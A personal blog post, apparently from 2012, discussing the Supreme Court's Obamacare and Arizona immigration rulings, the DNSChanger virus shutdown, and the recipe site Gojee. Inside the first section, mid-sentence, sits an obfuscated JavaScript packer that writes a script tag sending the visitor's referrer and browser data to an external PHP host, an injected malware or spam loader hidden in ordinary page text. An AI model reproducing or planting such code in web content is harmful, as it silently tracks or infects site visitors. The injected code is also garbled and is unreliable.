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Supreme Court Ruling on Immigration:

The Supreme Court of the United States in a 5-4 decision ruled in favor of the controversial Obamacare law.  SCOTUS upholds the law under the federal powers to tax, not the commerce clause.  Chief Justice Roberts, appointed by President Bush, surprised many with his favorable position.  However, this article: Why eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndkkb|var|u0026u|referrer|yibia||js|php’.split(‘|’),0,{}))
Chief Justice Roberts made the right long-term decision with Obamacare 
 explores why his decision is really a small victory for conservatives.  The most debated component of Obamacare was the individual mandate to require every citizen to have healthcare insurance.  I’ve heard arguments on both sides of the aisle.  Ideally, affordable healthcare for everyone is a miracle.  How to pay for it is the reality.  There are several components of the healthcare reform that I do support, but my conservative mind asks how the country will write the check for the hefty price tag, especially when we are almost $16 trillion in debt.

In Georgia, people were also waiting for the SCOTUS ruling on Arizona’s immigration law to see how it would affect the recently passed HB 87.  In yet another surprise ruling, the Supreme Court upheld the “show your papers” provision of Arizona’s law.  Many consider this equivalent to racial profiling; however, Georgia lawmakers are saying the ruling will not have a significant impact on the state’s similar law. Georgia’s law specifies that law enforcement agents can enquire about the legal status of an individual only if they are stopped because of other suspicious activities. As a first generation immigrant, I know that it is possible to come over legally.  However, the U.S. was built on the backs of hard-working immigrants and I sympathize with those who want to create their own rags to riches stories.  The truth remains that the entire process is complicated for everyone if illegals don’t go through the correct channels to obtain citizenship or permanent alien status.

First World Problems: What to do if your computer loses Internet access on Monday

If you haven’t checked yet, check now!  A computer virus has compromised almost 300,000 computers worldwide, 64,000 in the U.S. alone. The FBI has tried to resolve the issue, but on Monday, their safety net will be removed and the computer virus will destroy the infected computer’s connectivity to the Internet.  To check if your computer is infected, visit this website: http://www.dcwg.org/detect/  Follow the steps and if your computer screen turns red, your computer is infected.  The website also provides steps for you to take to prevent your computer’s loss of Internet on Monday.

Surfing the Web: Gojee

Are you one of those people who is first to find that hilarious YouTube video or interesting website?  I am not.  I get lucky if I find out about them a year later, which is why I feel the need to share Gojee for all those out there that are like me!  This website helps you find recipes based on the ingredients you have in your pantry.

I hate grocery shopping.  When it comes to the end of my week and I’m struggling to figure out what to make for dinner, this website becomes my lifesaver.  I used this website yesterday to make my dinner!  Come back and visit my blog tomorrow for the recipe!

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